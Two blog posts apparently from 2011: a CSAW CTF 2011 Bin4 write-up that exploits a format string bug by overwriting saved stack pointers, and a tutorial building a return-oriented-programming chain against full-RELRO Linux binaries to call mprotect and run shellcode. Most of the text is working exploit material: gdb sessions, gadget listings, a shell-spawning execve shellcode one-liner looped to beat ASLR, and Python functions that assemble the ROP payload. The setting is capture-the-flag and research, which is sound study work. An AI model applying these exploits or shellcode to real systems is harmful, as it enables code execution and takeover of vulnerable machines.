Tuesday, September 27, 2011

CSAW CTF 2011 - Exploitation Bin4 Writeup

After reading repnzscasb's Bin4 write-up. I have to say to myself "why I missed overwriting the pointer to function?". Here is my solution (not a smart method to solve this challenge).

The challenge code is same as bin3 but bin4 is compiled with full RELRO. Also the ASLR is enabled. Here is a short C code.

int s(char *op, char *lhs, char *rhs){
  static int(*opfunc)(int, int);
  int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
  char opmsg[512];

  op++;
  //...
 
  snprintf(opmsg, sizeof(opmsg), op);
  printf("%s\n", opmsg);
  fflush(0);
  return opfunc(atoi(lhs), atoi(rhs));
}
 
int main(int argc, char **argv){
 
  if(argc < 4){ u(); }
 
  printf("Result: %d\n", s(argv[2], argv[1], argv[3]));
  exit(EXIT_SUCCESS);
}

Assume we see only format string bug (do not see opfunc, a pointer to function :P). My idea is using saved ebp in s() stack frame, that points to saved ebp in main() stack frame, with format string bug to modify 1 byte of saved ebp in main() stack frame to the address of saved eip in s() stack frame. Confused??? Look below.

(gdb) b *0x0804867e     # break at call snprintf
Breakpoint 1 at 0x804867e
(gdb) r 1 -%144\$hhn 2
Starting program: /home/worawit/csaw/bin4 1 -%144\$hhn 2
Operation:
Breakpoint 1, 0x0804867e in s ()
(gdb) x/12x $ebp
0xbffff648:     0xbffff668      0x08048721      0xbffff868      0xbffff866
0xbffff658:     0xbffff872      0x0029bff4      0x08048750      0x00000000
0xbffff668:     0xbffff6e8      0x00155e37      0x00000004      0xbffff714
(gdb) ni
0x08048683 in s ()
(gdb) x/12x $ebp
0xbffff648:     0xbffff668      0x08048721      0xbffff868      0xbffff866
0xbffff658:     0xbffff872      0x0029bff4      0x08048750      0x00000000
0xbffff668:     0xbffff600      0x00155e37      0x00000004      0xbffff714

Note:
- 0xbffff648 is address of saved ebp in s() stack frame
- 0xbffff64c is address of saved eip in s() stack frame
- 0xbffff668 is address of saved in main() stack frame

From gdb, we can see the saved ebp value in main() stack frame is changed. If we change it to address of saved eip in s() stack frame, 0xbffff64c. We can use it for format string bug to change the saved eip in s() stack frame. That's the idea.

This method does not work all the time because stack address is random. But the chance is not low. Only 4 bits are random. The last 4 bits are always the same because of stack alignment in main() function.

080486e5 <main>:
 80486e5:       55                      push   %ebp
 80486e6:       89 e5                   mov    %esp,%ebp
 80486e8:       83 e4 f0                and    $0xfffffff0,%esp

Because argv[1] is passed to s() function as 2nd argument , we just need to modified the saved eip to the pop/ret address. Find it near 0x08048721, so we have to modified only 1 byte.

worawit@nattyvm:~/csaw$ objdump -d ./bin4 | grep '^ 80487' | grep -B 1 ret
 8048743:       5d                      pop    %ebp
 8048744:       c3                      ret
--
 80487a8:       5d                      pop    %ebp
 80487a9:       c3                      ret
 80487aa:       8b 1c 24                mov    (%esp),%ebx
 80487ad:       c3                      ret
--
 80487d8:       5d                      pop    %ebp
 80487d9:       c3                      ret
--
 80487f6:       c9                      leave
 80487f7:       c3                      ret

I pick address 0x080487a8. The restriction of this method is "$" modifier must not be used in first "%n"

. Else the printf() function will not use modified value. Here is the exploit. Shell will pop out in a second.

worawit@nattyvm:~/csaw$ while [ 1 ]; do ./bin4 `perl -e 'print "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'` -`perl -e 'print "%8x"x142,"%220x%hhn","%8x"x6,"%44x%hhn"'` 10; done
...
$

Saturday, September 3, 2011

ROP with common functions in Ubuntu/Debian x86

After reading "How to make a ROP when gadgets seems to miss ? (kind of universal ROP under linux)", I see something missing. It is hard to change the shellcode (such as connect back) and it does not work on full RELRO binary. So I tried do ROP too (for fun) with following code and compilation option on Ubuntu 10.04 (x86).

#include <string.h>
int main(int argc, char **argv)
{
    char buf[64];
    strcpy(buf, argv[1]);
    return 0;
}
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -o testfoo testfoo.c
$ checksec.sh --file testfoo
RELRO           STACK CANARY      NX            PIE                     FILE
Full RELRO      No canary found   NX enabled    No PIE                  testfoo

Here the "objdump -d" output (testfoo_objdump.txt). I will paste only gadgets here because the full output is very long.

From agix's work, he modified GOT entry to get new gadgets. It cannot be used when full RELRO is enabled. But we still can use "call *%eax" (or similar) to make a new gadgets.

Even a binary is full RELRO, there is still static memory address that permission is "rw" (at least .data and .bss section). When a binary file is mapped to memory, the memory must be allocated a multiple of page size (normally is 4096 bytes). So in most case, there are some unused memory area that is initialized to zero. I will use this memory area to store some value.

Let look at gadgets in __libc_csu_init first.

# gadget #1
 8048472:	83 c4 1c             	add    $0x1c,%esp
 8048475:	5b                   	pop    %ebx
 8048476:	5e                   	pop    %esi
 8048477:	5f                   	pop    %edi
 8048478:	5d                   	pop    %ebp
 8048479:	c3                   	ret 

This gadget can be used for setting ebx, esi, edi, ebp and clean up stacks.

# gadget #2
 8048439:	8d bb 0c ff ff ff    	lea    -0xf4(%ebx),%edi
 804843f:	8d 83 0c ff ff ff    	lea    -0xf4(%ebx),%eax
 8048445:	29 c7                	sub    %eax,%edi
 8048447:	c1 ff 02             	sar    $0x2,%edi
 804844a:	85 ff                	test   %edi,%edi
 804844c:	74 24                	je     8048472 <__libc_csu_init+0x52>

This gadget can be used for setting eax after setting ebx. The 0xf4 is offset of _GLOBAL_OFFSET_TABLE_ and __init_array_start.

# gadget #3
 8048450:	8b 45 10             	mov    0x10(%ebp),%eax
 8048453:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048457:	8b 45 0c             	mov    0xc(%ebp),%eax
 804845a:	89 44 24 04          	mov    %eax,0x4(%esp)
 804845e:	8b 45 08             	mov    0x8(%ebp),%eax
 8048461:	89 04 24             	mov    %eax,(%esp)
 8048464:	ff 94 b3 0c ff ff ff 	call   *-0xf4(%ebx,%esi,4)
 804846b:	83 c6 01             	add    $0x1,%esi
 804846e:	39 fe                	cmp    %edi,%esi
 8048470:	72 de                	jb     8048450 <__libc_csu_init+0x30>

This gadget can be used for calling a function, based on ebx and esi, with 3 arguments. We need to set edi to make jb condition fail. But limitation of this gadget is we must know the address of function arguments.

Next, gadgets in __do_global_ctors_aux

# gadget #4
 80484a7:	5b                   	pop    %ebx
 80484a8:	5d                   	pop    %ebp
 80484a9:	c3                   	ret  

This gadget can be used for setting ebx and use a little stack space.

# gadget #5
(gdb) x/6i 0x0804849e
   0x804849e <__do_global_ctors_aux+30>:        add    -0xb8a0008(%ebx),%eax
   0x80484a4 <__do_global_ctors_aux+36>:        add    $0x4,%esp
   0x80484a7 <__do_global_ctors_aux+39>:        pop    %ebx
   0x80484a8 <__do_global_ctors_aux+40>:        pop    %ebp
   0x80484a9 <__do_global_ctors_aux+41>:        ret
   0x80484aa <__do_global_ctors_aux+42>:        nop

This gadget cannot be found in objdump output. I use gdb to intrepret at address 0x0804849e as instructions. It can be used for adding value from memory to eax. Because we can control eax, it is considered as load value from memory to eax (similar to "mov (%ebx),%eax" instruction).

Next, gadgets in __do_global_dtors_aux.

# gadget #6
(gdb) x/3i 0x080483a9
   0x80483a9 <__do_global_dtors_aux+73>:        add    $0x804a008,%eax
   0x80483ae <__do_global_dtors_aux+78>:        add    %eax,0x5d5b04c4(%ebx)
   0x80483b4 <__do_global_dtors_aux+84>:        ret

This gadget also can be found with gdb at address 0x080483a9. The "add %eax,0x5d5b04c4(%ebx)" instruction can be used for storing eax value to memory if the value in memory is 0 (similar to "mov %eax,(%ebx)"). When wanting to avoid badchars from setting eax, we use this whole gadget to adjust eax.

I also found this gadet in in __do_global_dtors_aux with gdb.

(gdb) x/2i 0x08048392
   0x8048392 <__do_global_dtors_aux+50>:        add    %esp,0x804a00c(%ebx)
   0x8048398 <__do_global_dtors_aux+56>:        call   *0x8049ef8(,%eax,4)

It can be used for storing esp to memory. But because 0x804a00c (dtor_idx) is near to static memory address, ebx has to be very low value (0x0000????). I cannot find a gadget to adjust ebx. So we cannot use it if \x00 is badchar (like this example).

These are 6 gadgets I use to do ROP. Let see my python code for the variable name of the gadget addresses.

# start address of __do_global_dtors_aux
do_global_dtors_aux_addr = 0x08048360

# start address of __libc_csu_init
libc_csu_init_addr = 0x08048420
init_array_offset = 0xf4
bss_completed_addr = 0x0804a008

# start address of __do_global_ctors_aux
do_global_ctors_aux_addr = 0x08048480

set_eax_addr = libc_csu_init_addr + 0x19    # gadget #2
set_4reg_addr = libc_csu_init_addr + 0x55   # gadget #1
call_3args_addr = libc_csu_init_addr + 0x30 # gadget #3

set_ebx_addr = do_global_ctors_aux_addr + 0x27  # gadget #4
load_eax_addr = do_global_ctors_aux_addr + 0x1e # gadget #5

store_eax_addr = do_global_dtors_aux_addr + 0x4e  # gadget #6
store_eax_addr2 = do_global_dtors_aux_addr + 0x49 # can be used for avoiding badchars

JUNK = 0xbadc0de
JUNK_STR = pack("<I", JUNK)

Here how I use these gadgets. Start with simple set eax and ebx.

def do_set_ebx(ebx):
    # 12 bytes
    return pack("<III", set_ebx_addr, ebx, JUNK)

def do_set_eax_ebx(eax, ebx, esi=JUNK, edi=JUNK, ebp=JUNK):
    # (3+1+7+4)*4 = 60 bytes
    ebx_tmp = (eax + init_array_offset) & 0xFFFFFFFF
    return do_set_ebx(ebx_tmp) + pack("<I", set_eax_addr) + JUNK_STR*7 + pack("<IIII", ebx, esi, edi, ebp)

Next is storing value in memory. Common task.

def do_store_value(value, mem_addr):
    # 64 bytes
    eax = value
    ebx = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax, ebx) + pack("<I", store_eax_addr)
do_add_memref = do_store_value

def do_store_value2(value, mem_addr):
    # 64 bytes
    eax = (value - bss_completed_addr) & 0xFFFFFFFF
    ebx = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax, ebx) + pack("<I", store_eax_addr2)
do_add_memref2 = do_store_value2

Before seeing next functions, let think about the goal first. I need the ROP to be reusable with other shellcode, so the goal is calling mprotect (I use mprotect because it requires only 3 arguments) and copying the shellcode into rwx area. Looking at gadget #3, we need 3 arguments in memory and the function address to be called in memory too. So we need to put the mprotect function address in memory. To find the mprotect address, we need to get value from GOT entry, then add/sub an offset. Here is the function to do this task.

def do_store_func_addr(func_plt_got_addr, func_offset, mem_addr):
    # 80 bytes
    eax1 = (func_offset - bss_completed_addr) & 0xFFFFFFFF
    ebx1 = func_plt_got_addr + 0x0b8a0008  # normally got is in 0x08??????, so no overflow
    ebx2 = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax1, ebx1) + pack("<IIII", load_eax_addr, JUNK, ebx2, JUNK) + pack("<I", store_eax_addr2)

The last function is calling with 3 arguments.

def do_call_3arg(func_mem_addr, args_mem_addr):
    esi = 0x02020202
    ebx = (func_mem_addr + init_array_offset - (esi*4)) & 0xFFFFFFFF
    ebp = args_mem_addr - 8
    edi = 0x01010101  # to make jb condition fail
    return pack("<IIIII", set_4reg_addr, ebx, esi, edi, ebp) + pack("<I", call_3args_addr) + JUNK_STR*11

We have all functions. Time to assemble them to call mprotect.
Note: I have to store the mprotect arguments in memory first because they always contain \x00 value (badchar for this example).

rop = ""
# prepare mprotect address and its arguments on static stack
rop += do_store_func_addr(libc_ref_func_got, mprotect_offset, static_mem_zero_start)  # memprotect address in libc
rop += do_store_value(static_mem_rw_start, static_mem_zero_start + 8)
rop += do_store_value2(mprotect_len, static_mem_zero_start + 12)
rop += do_store_value2(7, static_mem_zero_start + 16)  # rwx
# call mprotect
rop += do_call_3arg(static_mem_zero_start, static_mem_zero_start + 8)

After got the memory with rwx permission, there are many methods to execute any shellcode. I inject a gadget to set strcpy src address in stack.

# metasm > lea eax,[esp+0x10]
# "\x8d\x44\x24\x10"
# metasm > mov [esp+0xc],eax
# "\x89\x44\x24\x0c"
# metasm > ret
# "\xc3"
rop += do_store_value(0x1024448d, static_mem_zero_start + 20)
rop += do_store_value(0x0c244489, static_mem_zero_start + 24)
rop += do_store_value(0x909090c3, static_mem_zero_start + 28)

Then I use strcpy@plt to copy the shellcode and jump to it.

rop += pack("<IIIII", static_mem_zero_start + 20, strcpy_plt, static_mem_zero_start + 32, static_mem_zero_start + 32, JUNK)
rop = "A"*64 + pack("<I", ret_addr)*5 + rop + shellcode

Here is my full python code: genrop.py. Now we can change shell easily :).

$ python genrop.py
$ ./testfoo "`cat rop.out`"

I also tried on Ubuntu 11.04 and Debian 6. It works. But on Fedora 14/15, the __do_global_dtors_aux is slightly different. Gadget #6 is changed to use ecx and ebp for storing value in memory. I cannot find any gadget to control ecx. I think we can use gadgets in libc by using "call *%eax". It is harder but still possible.